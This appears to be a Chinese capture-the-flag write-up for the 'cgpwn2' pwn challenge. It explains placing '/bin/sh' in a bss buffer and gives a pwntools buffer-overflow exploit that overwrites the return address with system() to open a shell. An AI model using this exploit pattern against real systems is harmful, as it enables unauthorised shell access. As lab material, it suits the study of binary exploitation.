10_cgpwn2

1.检查安全防护机制 32位
图片.png
2.关键字查找

图片.png
注:猜测我们需要往里面写入/bin/sh
注:我们有fgets(name, 50, stdin);我们的stdin可以写入bss段里面。

EXP
from pwn import*

elf = ELF('./cgpwn2')
context.log_level = 'debug'

p = process('./cgpwn2')
#p = remote("111.198.29.45"," 31241")
system_addr = 0x8048420
bss_addr = 0x804A080   //注意这的bss段是我们申请的name[]

p.recvuntil('name\n')
p.sendline("/bin/sh\x00")

p.recvuntil('here:\n')


payload = 'A'*42
payload += p32(system_addr)
payload += p32(0)  //有点模糊为什么写入0
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

你可能感兴趣的:(10_cgpwn2)